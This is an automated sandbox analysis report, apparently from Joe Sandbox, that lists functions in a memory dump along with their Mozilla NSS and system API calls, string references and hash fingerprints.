Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: abdd05a0e8be3eb1127c98bcdc644769eecd9b513cb60c01af4397ec2c7c7203
Instruction ID: f23d9b98ab88c55743a4e188bacbf2581bfdc1b70a08b0a39f2efbdc96f2583b
Opcode Fuzzy Hash: abdd05a0e8be3eb1127c98bcdc644769eecd9b513cb60c01af4397ec2c7c7203
Instruction Fuzzy Hash: FC613771A042108BD310CF2ACC40BA6B7F5EF95318F2845ADE4499BF42E37AE946C7A1

Function 6C66FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C675B40: PR_GetIdentitiesLayer.NSS3 ref: 6C675B56

PK11_FreeSymKey.NSS3(00000000), ref: 6C670113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C670130
PORT_Alloc_Util.NSS3(00000040), ref: 6C67015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6C6701AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6C670202
free.MOZGLUE(?), ref: 6C670224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C670253

Strings

exporter, xrefs: 6C6700F7

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 137084e2df3aa55f19739115b32ea5df863bcfad77d1c921c9ef3caf8e012877
Instruction ID: 9816565b786d18a55bb1456e1b769e0d6dd62c9d2f1667176bf2e50d9ff390fc
Opcode Fuzzy Hash: 137084e2df3aa55f19739115b32ea5df863bcfad77d1c921c9ef3caf8e012877
Instruction Fuzzy Hash: 106126B19007899BEF218FA4CC00BEE77B6FF4530CF144A28ED1A56A61E7329954C779

Function 6C644DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C64536F,00000022,?,?,00000000,?), ref: 6C644E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C644F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C644F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C644FAE
free.MOZGLUE(?), ref: 6C644FC8

Strings

%s=%c%s%c, xrefs: 6C644FA9
%s=%s, xrefs: 6C644F89
oSdl", xrefs: 6C644DFB, 6C644EF4, 6C644EC5

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSdl"
API String ID: 2709355791-1877521064
Opcode ID: e4830d490ace94f1c711c6ad5f1d9ba97598e933d141f32bacbbd498fc2ab4f6
Instruction ID: 36f4cd46ec8c0ce4873649c42e5a9fcec50ca8e9d5a1c5a6d4eacc56f0dc9f2a
Opcode Fuzzy Hash: e4830d490ace94f1c711c6ad5f1d9ba97598e933d141f32bacbbd498fc2ab4f6
Instruction Fuzzy Hash: 70517D31E051558BEB01CE69C492BFF7BF59F82348F18C125E894A7F41D37598068799

Function 6C66EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C68A4A1,?,00000000,?,00000001), ref: 6C66EF6D

Part of subcall function 6C68C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C68C2BF

htonl.WSOCK32(00000000,?,6C68A4A1,?,00000000,?,00000001), ref: 6C66EFE4
htonl.WSOCK32(?,00000000,?,6C68A4A1,?,00000000,?,00000001), ref: 6C66EFF1
memcpy.VCRUNTIME140(?,?,6C68A4A1,?,00000000,?,6C68A4A1,?,00000000,?,00000001), ref: 6C66F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C68A4A1,?,00000000,?,00000001), ref: 6C66F027

Strings

dtls13, xrefs: 6C66EF33

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 6d9fa38eb3c84039e54acbf686ca10b2083f991f05206a54fede24f49287ae33
Instruction ID: 9c6d32668f7fe0babec5936d92994b72c4a16200b23c597c78f76284a9eee2e7
Opcode Fuzzy Hash: 6d9fa38eb3c84039e54acbf686ca10b2083f991f05206a54fede24f49287ae33
Instruction Fuzzy Hash: B631F471A01215AFC710DF29DC40B8AB7E4EF49358F258129E8189BB51E731ED15CBEA

Function 6C5EAF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C5EAFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C709500,6C5E3F91), ref: 6C5EAFD2

Part of subcall function 6C63B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7118D0,?), ref: 6C63B095

DER_GetInteger_Util.NSS3(?), ref: 6C5EB007

Part of subcall function 6C636A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C5E1666,?,6C5EB00C,?), ref: 6C636AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C5EB02F
PR_CallOnce.NSS3(6C742AA4,6C6412D0), ref: 6C5EB046
PL_FreeArenaPool.NSS3 ref: 6C5EB058
PL_FinishArenaPool.NSS3 ref: 6C5EB060

Strings

security, xrefs: 6C5EAFB8

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: b3531b040377fdb1e75e0b75a7a04b79e1cbcc5e5da1190a6dd342861e2ca29c
Instruction ID: 854a4f6d1703271df8a7be70e768dd59adb7f3aed899cca5c581a03b782d521e
Opcode Fuzzy Hash: b3531b040377fdb1e75e0b75a7a04b79e1cbcc5e5da1190a6dd342861e2ca29c
Instruction Fuzzy Hash: 753127715043009BDB10DF24DC44BAA77A4AF8A36DF108B59E9B49BBD1E332A509C79F

Function 6C5E3E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C5E40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C5E3F7F,?,00000055,?,?,6C5E1666,?,?), ref: 6C5E40D9
Part of subcall function 6C5E40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C5E1666,?,?), ref: 6C5E40FC
Part of subcall function 6C5E40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C5E1666,?,?), ref: 6C5E4138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E3EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C5E3ED6

Part of subcall function 6C63B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7118D0,?), ref: 6C63B095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C5E3EEE

Part of subcall function 6C63FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C638D2D,?,00000000,?), ref: 6C63FB85
Part of subcall function 6C63FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C63FBB1

PR_CallOnce.NSS3(6C742AA4,6C6412D0), ref: 6C5E3F02
PL_FreeArenaPool.NSS3 ref: 6C5E3F14
PL_FinishArenaPool.NSS3 ref: 6C5E3F1C

Part of subcall function 6C6464F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C64127C,00000000,00000000,00000000), ref: 6C64650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5E3F27

Strings

security, xrefs: 6C5E3EBC

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: c9133fed0976739c03e552de27748cf24cf4442e1e7e5daa5cc3a809fab3b871
Instruction ID: 653f0d821fe97960753fedf0da9ce6f54236f521bc315066321a04e6d45cc471
Opcode Fuzzy Hash: c9133fed0976739c03e552de27748cf24cf4442e1e7e5daa5cc3a809fab3b871
Instruction Fuzzy Hash: 7721F8B1908304ABD7148B15AC01FAB77A8BB8971CF04493DF959A7B41F731DA18879E

Function 6C62CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C62CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C62CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C62D079

Part of subcall function 6C68C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C68C2BF

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 6b3153d2ed4fdbc02cea920a6c6a98da27042a1f455503df1b05802e58b5b1e7
Instruction ID: 5a0a54457d94fdabac1f27f8040a1889ac05775de83dbc1feae891cebb15c753
Opcode Fuzzy Hash: 6b3153d2ed4fdbc02cea920a6c6a98da27042a1f455503df1b05802e58b5b1e7
Instruction Fuzzy Hash: 81C190B1A002199BDB20CF24CC80BDAB7B4BF49318F1441A8D94DA7741E779EE95CF99

Function 6C61DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C6297C1,?,00000000,00000000,?,?,?,00000000,?,6C607F4A,00000000), ref: 6C61DC68

Part of subcall function 6C640BE0: malloc.MOZGLUE(6C638D2D,?,00000000,?), ref: 6C640BF8
Part of subcall function 6C640BE0: TlsGetValue.KERNEL32(6C638D2D,?,00000000,?), ref: 6C640C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C607F4A,00000000,?,00000000,00000000), ref: 6C61DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C607F4A,00000000,?,00000000,00000000), ref: 6C61DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C607F4A,00000000,?,00000000,00000000), ref: 6C61DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C607F4A,00000000,?,00000000,00000000), ref: 6C61DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C607F4A,00000000,?,00000000,00000000), ref: 6C61DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C607F4A,00000000,?,00000000,00000000), ref: 6C61DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C607F4A,00000000,?,00000000,00000000), ref: 6C61DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C607F4A,00000000,?,00000000,00000000), ref: 6C61DFAA

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 6bc3347665ba2f32e7623e2519a56dbcb2a5d7e24ddf6e5131929b178572510e
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: F181E375A0E6018BFB134E2DC8903AA76D6DB6134FF20853AD919CAFE1D774C486C64E

Function 6C5F3C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C5F3C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C5F3C94

Part of subcall function 6C5E95B0: TlsGetValue.KERNEL32(00000000,?,6C6000D2,00000000), ref: 6C5E95D2
Part of subcall function 6C5E95B0: EnterCriticalSection.KERNEL32(?,?,?,6C6000D2,00000000), ref: 6C5E95E7
Part of subcall function 6C5E95B0: PR_Unlock.NSS3(?,?,?,?,6C6000D2,00000000), ref: 6C5E9605

PORT_NewArena_Util.NSS3(00000800), ref: 6C5F3CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C5F3CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C5F3CE1

Part of subcall function 6C5F3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C60AE42), ref: 6C5F30AA
Part of subcall function 6C5F3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5F30C7
Part of subcall function 6C5F3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C5F30E5
Part of subcall function 6C5F3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5F3116
Part of subcall function 6C5F3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C5F312B
Part of subcall function 6C5F3090: PK11_DestroyObject.NSS3(?,?), ref: 6C5F3154
Part of subcall function 6C5F3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5F317E

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: acacf93363a4af1b421079fe10dd53fce1710e8a7b423e51ba4df87c7a39ca0d
Instruction ID: a85168a32984aee5b4b1f843d4103987a33c42c92c987650c4a36f7bafe5c2d9
Opcode Fuzzy Hash: acacf93363a4af1b421079fe10dd53fce1710e8a7b423e51ba4df87c7a39ca0d
Instruction Fuzzy Hash: 6661F971A00200ABFF145F65DC41FAB7AB9EF15748F084428FE159AA52F721D815CFBA

Function 6C633D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C633440: PK11_GetAllTokens.NSS3 ref: 6C633481
Part of subcall function 6C633440: PR_SetError.NSS3(00000000,00000000), ref: 6C6334A3
Part of subcall function 6C633440: TlsGetValue.KERNEL32 ref: 6C63352E
Part of subcall function 6C633440: EnterCriticalSection.KERNEL32(?), ref: 6C633542
Part of subcall function 6C633440: PR_Unlock.NSS3(?), ref: 6C63355B

TlsGetValue.KERNEL32 ref: 6C633D8B
EnterCriticalSection.KERNEL32(?), ref: 6C633D9F
PR_Unlock.NSS3(?), ref: 6C633DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C633DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C633E4F

Part of subcall function 6C68C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C68C2BF

TlsGetValue.KERNEL32 ref: 6C633E97
EnterCriticalSection.KERNEL32(?), ref: 6C633EAB
PR_Unlock.NSS3(?), ref: 6C633ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C633EEE

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 57ee1b761fd51a00f9fe2fd2dbf3e4a2f2dbc9af92549a37bda3e4618de8d012
Instruction ID: 0b1a9c57b97f680766997ab9a896a5e2ef5891b4fd2ec57c31d1dc03da0634b7
Opcode Fuzzy Hash: 57ee1b761fd51a00f9fe2fd2dbf3e4a2f2dbc9af92549a37bda3e4618de8d012
Instruction Fuzzy Hash: 83517B71A002209FDB11AF29DC44B6A73B0EF45319F05617ADE0D4BB61EB31E856C7D9

Function 6C5E2C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(1828B6B5), ref: 6C5E2C5D

Part of subcall function 6C640D30: calloc.MOZGLUE ref: 6C640D50
Part of subcall function 6C640D30: TlsGetValue.KERNEL32 ref: 6C640D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C5E2C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5E2CE0

Part of subcall function 6C5E2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C5E2CDA,?,00000000), ref: 6C5E2E1E
Part of subcall function 6C5E2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C5E2E33
Part of subcall function 6C5E2E00: TlsGetValue.KERNEL32 ref: 6C5E2E4E
Part of subcall function 6C5E2E00: EnterCriticalSection.KERNEL32(?), ref: 6C5E2E5E
Part of subcall function 6C5E2E00: PL_HashTableLookup.NSS3(?), ref: 6C5E2E71
Part of subcall function 6C5E2E00: PL_HashTableRemove.NSS3(?), ref: 6C5E2E84
Part of subcall function 6C5E2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C5E2E96
Part of subcall function 6C5E2E00: PR_Unlock.NSS3 ref: 6C5E2EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5E2D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C5E2D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C5E2D3F
free.MOZGLUE(00000000), ref: 6C5E2D73
CERT_DestroyCertificate.NSS3(?), ref: 6C5E2DB8
free.MOZGLUE ref: 6C5E2DC8

Part of subcall function 6C5E3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E3EC2
Part of subcall function 6C5E3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C5E3ED6
Part of subcall function 6C5E3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C5E3EEE
Part of subcall function 6C5E3E60: PR_CallOnce.NSS3(6C742AA4,6C6412D0), ref: 6C5E3F02
Part of subcall function 6C5E3E60: PL_FreeArenaPool.NSS3 ref: 6C5E3F14
Part of subcall function 6C5E3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5E3F27

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 088d5efdb020d461e3d9bea78b6d17be10adc48b837f632ac7ebfb6b5132952b
Instruction ID: 6a01d3b9c71bd0f842509d6f1a57eb5db84c7ea2915b4aefbb757fd67184bf9a
Opcode Fuzzy Hash: 088d5efdb020d461e3d9bea78b6d17be10adc48b837f632ac7ebfb6b5132952b
Instruction Fuzzy Hash: A45101B1A043169BEB10DF29CD89B6B77E5EF98308F14093CED5983654E731E816CB92

Function 6C5E7CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C5E3F7F,?,00000055,?,?,6C5E1666,?,?), ref: 6C5E40D9
Part of subcall function 6C5E40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C5E1666,?,?), ref: 6C5E40FC
Part of subcall function 6C5E40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C5E1666,?,?), ref: 6C5E4138

PR_GetCurrentThread.NSS3 ref: 6C5E7CFD

Part of subcall function 6C6A9BF0: TlsGetValue.KERNEL32(?,?,?,6C6F0A75), ref: 6C6A9C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C709030), ref: 6C5E7D1B

Part of subcall function 6C63FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C5E1A3E,00000048,00000054), ref: 6C63FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C709048), ref: 6C5E7D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C5E7D50
PR_GetCurrentThread.NSS3 ref: 6C5E7D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C5E7D7D
free.MOZGLUE(?), ref: 6C5E7D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C5E7DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C5E7E19

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

